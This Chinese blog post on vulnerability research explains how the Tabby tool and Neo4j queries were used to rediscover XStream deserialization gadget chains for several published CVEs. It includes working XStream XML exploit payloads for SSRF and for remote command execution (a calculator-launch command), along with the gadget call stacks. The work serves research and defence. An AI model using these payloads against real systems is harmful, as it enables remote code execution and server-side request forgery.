月底在即,再不写点东西,每月一篇都要食言了。上个月刚挖的OpenRASP的坑,本打算再研究研究绕过姿势,验证下猜想,也没下文。正好6月份交的XStream SSRF Gadget CVE下来,之前XStream系列草稿箱里也待着之前逆向分析师傅们挖掘的思路&手法,正好编辑编辑,水一篇”如何挖掘XStream Gadgets”。
首先感谢Wh1t3p1g师傅的Tabby,用起来比gadgetinspector更顺手,找链神器。
Tabby有关Tabby的介绍,详情可以参考【1】中Wh1t3p1g师傅的几个wiki,写的很详细了,这里也不多啰嗦。(这里膜一下Wh1t3p1g师傅)
Neo4j 查询比较吃cpu,小本本加上idea同时跑吃力,搞台vps跑比较好,但是tabby是通过apoc.load.csv file写Neo4j数据的,相当于限制了本机,因此给下整库的dump和load(当然,直接整个在vps上操作也是ok的)。
1 2 3 # dump neo4j database neo4j-admin dump --to /tmp/neo4j.dump --database neo4j # scp dump file to vps
1 2 3 4 # load neo4j dump file ./bin/neo4j stop ./bin/neo4j-admin load --from=/root/neo4j.dump --database=neo4j --force ./bin/neo4j start
Gadgets结构前文的众多的RCE Gadgets分析中发现Gadgets的结构大致分为:
Bullet: 实现最终的RCE
rce:
ProcessBuilder.start() 无参数
Runtime.getRuntime().exec(cmd) 有参
JdbcRowSetImpl.connect()/prepare()/getDatabaseMetaData()/setAutoCommit(var1) 无参
MethodClosure.call() 无参
ssrf:
java.net.URL#openConnection
核心中间链 中间链是整个寻找Gadgets的核心,简单的可能没有中间链,复杂的可能会组合使用
invoke 实现上有问题的 InvokeHandler,如
EventHandler
搭配MethodClosure的ConvertedClosure
hashCode、compare、equal实现有问题的Map/Set/Queue,如
Expando,hashCode搭配MethodClosure可以RCE
CVE-2021-21345 ServerTableEntry verify方法可RCE
存在invoke,且method、obj可控的class(这一类普遍存在)
CVE-2020-26217 ImageIO$ContainsFilter,filter方法内可控
CVE-2021-21344 Accessor$GetterSetterReflection,get方法可控
CVE-2021-21351 IncrementalSAXSource_Xerces parseSome方法内invoke可控
利用ClassLoader实例化
ServiceLoader$LazyIterator,调用点为Class.forName (name,initialize,loader) ,指定loader为BCEL classLoaer
CVE-2021-21347,调用点为loader.loadClass(name).newInstance(),利用java.net.URLClassLoader加载远程jar类并实例化
CVE-2021-21350,和LazyIterator一样,利用BCEL classLoader
Trigger: 类似扳机的作用?整个链的起点
MapConverter/TreeSetConveter/TreeMapConveter都会触发这些集合/表 内元素的内部函数,比如compare、hashCode、equals这些函数。
MapConverter类型put对象时调用该对象的hashCode、equals、toString方法
TreeSet调用put对象时调用该对象的compareTo方法
PriorityQueue触发comparator属性中compare方法
DynamicProxyConverter 代理类,InvocationHandler可控,导致一些invoke存在RCE风险的InvocationHandler类,如EventHandler,可以加以利用。
CVEs在了解了neo4j & tabby & Gadges组成 的基础上,那就让我们尝试使用Tabby的挖掘XStream Gadgets。精力有限,以以下几个CVE为例(难易程度排序)
CVE-2021-21342
CVE-2021-39152
CVE-2021-21351
CVE-2021-21346
CVE-2021-21347/21350
CVE-2020-26217
CVE-2021-21344/21345
CVE-2021-21342 寻找Bullet1 java.net.URL#openConnection
寻找中间链1 2 //m0d9 xstream URLDNS match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openStream",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS
节点很多,以javax.activation.URLDataSource$getInputStream 为例
寻找Trigger1 2 3 4 5 //m0d9 xstream URL URLData match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="getOutputStream" and m1.CLASSNAME="javax.activation.URLDataSource" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path return * limit 100
POC1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <java.util.PriorityQueue serialization ="custom" > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ="sun.awt.datatransfer.DataTransferer$IndexOrderComparator" > <order > false</order > <indexMap class ="com.sun.xml.internal.ws.client.ResponseContext" > <packet > <satellites class ="java.util.IdentityHashMap" serialization ="custom" > <unserializable-parents /> <java.util.IdentityHashMap > <default > <size > 0</size > </default > <int > 0</int > </java.util.IdentityHashMap > </satellites > <message class ="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart" > <dataSource class ="javax.activation.URLDataSource" > <url > http://cve21342.xstream.1.dns.m0d9.me/</url > </dataSource > </message > <wasTransportSecure > false</wasTransportSecure > <isAdapterDeliversNonAnonymousResponse > false</isAdapterDeliversNonAnonymousResponse > <packetTakesPriorityOverRequestContext > false</packetTakesPriorityOverRequestContext > <invocationProperties /> <state > ServerRequest</state > <isFastInfosetDisabled > false</isFastInfosetDisabled > </packet > </indexMap > </comparator > </default > <int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
CVE-2021-39152这个链应该是 ssrf最短的链了
寻找Bullet1 java.net.URL#openConnection
寻找中间链1 2 //m0d9 xstream URLDNS match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openConnection",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS
节点很多,以jdk.nashorn.internal.runtime.Source$URLData#loadMeta 为例
寻找Trigger1 2 3 4 5 //m0d9 xstream URL URLData match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="loadMeta" and m1.CLASSNAME="jdk.nashorn.internal.runtime.Source$URLData" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path return * limit 100
poc1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <map > <entry > <jdk.nashorn.internal.runtime.Source_-URLData > <url > http://localhost:8080/internal/</url > <cs > GBK</cs > <hash > 1111</hash > <array > b</array > <length > 0</length > <lastModified > 0</lastModified > </jdk.nashorn.internal.runtime.Source_-URLData > <jdk.nashorn.internal.runtime.Source_-URLData reference ='../jdk.nashorn.internal.runtime.Source_-URLData' /> </entry > <entry > <jdk.nashorn.internal.runtime.Source_-URLData > <url > http://localhost:8080/internal/</url > <cs reference ='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs' /> <hash > 1111</hash > <array > b</array > <length > 0</length > <lastModified > 0</lastModified > </jdk.nashorn.internal.runtime.Source_-URLData > <jdk.nashorn.internal.runtime.Source_-URLData reference ='../jdk.nashorn.internal.runtime.Source_-URLData' /> </entry > </map >
CVE-2021-21351 寻找核心调用链1中间链以com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#parseSome为例
发现method、class、args都可控,需要做的就是找到一条链
寻找核心调用链21 2 3 4 match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="parseSome" and m1.CLASSNAME="com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path return * limit 100
调用栈调用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 connect:615, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) parseSome:370, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) deliverMoreNodes:309, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) _firstch:534, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref) getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) str:206, XRTreeFrag (com.sun.org.apache.xpath.internal.objects) toString:312, XObject (com.sun.org.apache.xpath.internal.objects) equals:391, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) put:568, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
CVE-2021-21346 核心调用链1 2 3 4 match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="createValue" and m1.CLASSNAME="sun.swing.SwingLazyValue" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path return * limit 100
调用栈1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lookup:417, InitialContext (javax.naming) doLookup:290, InitialContext (javax.naming) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) get:64, MultiUIDefaults (javax.swing) toString:197, MultiUIDefaults (javax.swing) equals:391, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) put:568, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util)
CVE-2020-21347/2135021347/21350这两个类似,都是用NameProcessIterator自定义classloader加载,链也比较简单。
核心调用链11 2 match path=(sink:Method {IS_SINK:true, NAME:"loadClass"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS order by m1.CLASSNAME
核心调用链2比较难搞的是hasNext关联Next,很容易关联到Trigger,造成误报
需要手动发现至SequenceInputStream.nextStream,然后参考CVE-2020-26217的ByteArrayOutputStreamEx链
1 2 3 match path=(m1:Method{NAME:"hasNext",CLASSNAME:"com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"})-[r:CALL|ALIAS*3..10]-(m2:Method) where m2.NAME in ["toString"] return path limit 200
这部分的与之类似,不单独列了
调用栈1 2 3 4 5 6 7 8 9 10 11 12 13 loadClass:131, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing) hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:109, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) compare:153, ObservableList$1 (javafx.collections) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util)
CVE-2020-26217 核心调用链11 2 3 4 match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="filter" and m1.CLASSNAME="javax.imageio.ImageIO$ContainsFilter" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path return * limit 100
转接点可以看到,只标注了部分的链,原因为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#nextElement->java.util.Enumeration#nextElement-> javax.naming.NameImpl#equals 无法走通。这种情况在后续的case种也会经常遇到,因为Java有多态特性,而ALIAS是纯静态分析。
上述链没办法打通Trigger,这个时候需要手动分析,发现java.io.SequenceInputStream#nextStream可以调用e.nextElement且e可控。如此,接着分析nextStream到Trigger的可行性。
核心调用链21 2 3 4 match (source:Method) where source.NAME in ["toString"] match (m1:Method) where m1.NAME="nextStream" and m1.CLASSNAME="java.io.SequenceInputStream" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",8) yield path return * limit 100
调用栈1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 start:1007, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) [2] invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) filter:613, ImageIO$ContainsFilter (javax.imageio) advance:834, FilterIterator (javax.imageio.spi) next:852, FilterIterator (javax.imageio.spi) nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:110, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) getStringValue:121, NativeString (jdk.nashorn.internal.objects) hashCode:117, NativeString (jdk.nashorn.internal.objects) hash:339, HashMap (java.util) put:612, HashMap (java.util)
CVE-2021-21344/2134521344/21345的这个Gadgets核心在DataTransferer$IndexedComparator到GetterSetterReflection的流程,流程比较复杂
调用栈1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 verify:173, ServerTableEntry (com.sun.corba.se.impl.activation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect) serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime) childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime) write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime) marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime) marshal:130, Bridge (com.sun.xml.internal.bind.api) marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish) writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message) asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message) getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message) getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message) get:111, ResponseContext (com.sun.xml.internal.ws.client) compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer) compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util)
寻找核心中间链11 2 3 //m0d9 xstream Runtime.exec match path=(m1:Method{NAME:"exec",CLASSNAME:"java.lang.Runtime"})<-[r:CALL]-(m2:Method) return path
如图,com.sun.corba.se.impl.activation.ServerTableEntry#verify
尝试寻找Trigger
1 2 3 4 match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"] match (m1:Method) where m1.NAME="verify" and m1.CLASSNAME="com.sun.corba.se.impl.activation.ServerTableEntry" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",13) yield path return * limit 100
但是无果,无法直接串联
寻找核心中间链2有一种核心中间链,proxy类,存在invoke,且method、obj可控的
1 2 3 // invoke match path=(sink:Method {IS_SINK:true, NAME:"invoke"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS order by m1.CLASSNAME
都过一遍,可以得出类似以下可控的类
寻找核心中间链31 2 3 4 match (source:Method) where source.NAME in ["compare"] match (m1:Method) where m1.NAME="get" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",16) yield path return * limit 100
寻找核心中间链41 2 3 4 match (source:Method) where source.NAME in ["compare"] match (m1:Method) where m1.NAME="marshal" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.BridgeImpl" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path return * limit 100
寻找核心中间链41 2 3 4 match (source:Method) where source.NAME in ["compare"] match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path return * limit 100
寻找核心中间链51 2 3 4 match (source:Method) where source.NAME in ["get"] match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment" call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",5) yield path return * limit 100
poc原理及分析可以看上一篇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='sun.awt.datatransfer.DataTransferer$IndexOrderComparator' > <indexMap class ='com.sun.xml.internal.ws.client.ResponseContext' > <packet > <message class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart' > <dataSource class ='com.sun.xml.internal.ws.message.JAXBAttachment' > <bridge class ='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper' > <bridge class ='com.sun.xml.internal.bind.v2.runtime.BridgeImpl' > <bi class ='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl' > <jaxbType > com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType > <uriProperties /> <attributeProperties /> <inheritedAttWildcard class ='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection' > <getter > <class > com.sun.corba.se.impl.activation.ServerTableEntry</class > <name > verify</name > <parameter-types /> </getter > </inheritedAttWildcard > </bi > <tagName /> <context > <marshallerPool class ='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1' > <outer-class reference ='../..' /> </marshallerPool > <nameList > <nsUriCannotBeDefaulted > <boolean > true</boolean > </nsUriCannotBeDefaulted > <namespaceURIs > <string > 1</string > </namespaceURIs > <localNames > <string > UTF-8</string > </localNames > </nameList > </context > </bridge > </bridge > <jaxbObject class ='com.sun.corba.se.impl.activation.ServerTableEntry' > <activationCmd > open /Applications/Calculator.app</activationCmd > </jaxbObject > </dataSource > </message > <satellites /> <invocationProperties /> </packet > </indexMap > </comparator > </default > <int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
小结本文从Gadget挖掘角度,使用tabby复现了2个Gadget的挖掘过程,ssrf的2个链很简单,rce有些个比较复杂,最短路径算法不能直接串起。这些个链的重点在于中间核心链路的组装,本菜🐔也只能倒推出部分节点,还有一些关键转折点如果在不知情的情况下自己来,大概率是发现不了的。
其他思考&总结
apoc.algo.allSimplePaths 是最短路径,有最短就不会列出其他的,而最短的不一定是有效的,导致可能会漏(也可以搭配[r:CALL|ALIAS*5..8]使用)。
中间核心链路的组装,因为invoke等不能自动串起,需要积累。
21342、21345 可以看出还有其他的路径,是否也可行?(等有精力再验证下吧😓)
最后再次感谢wh1t3p1g师傅,用tabby混了个cve,也逆向复现了这些Gadgets的挖掘思路。
1.4.17新出那些其他的Gadgets,还没空分析如何找到链的,等有精力再水一节吧。
参考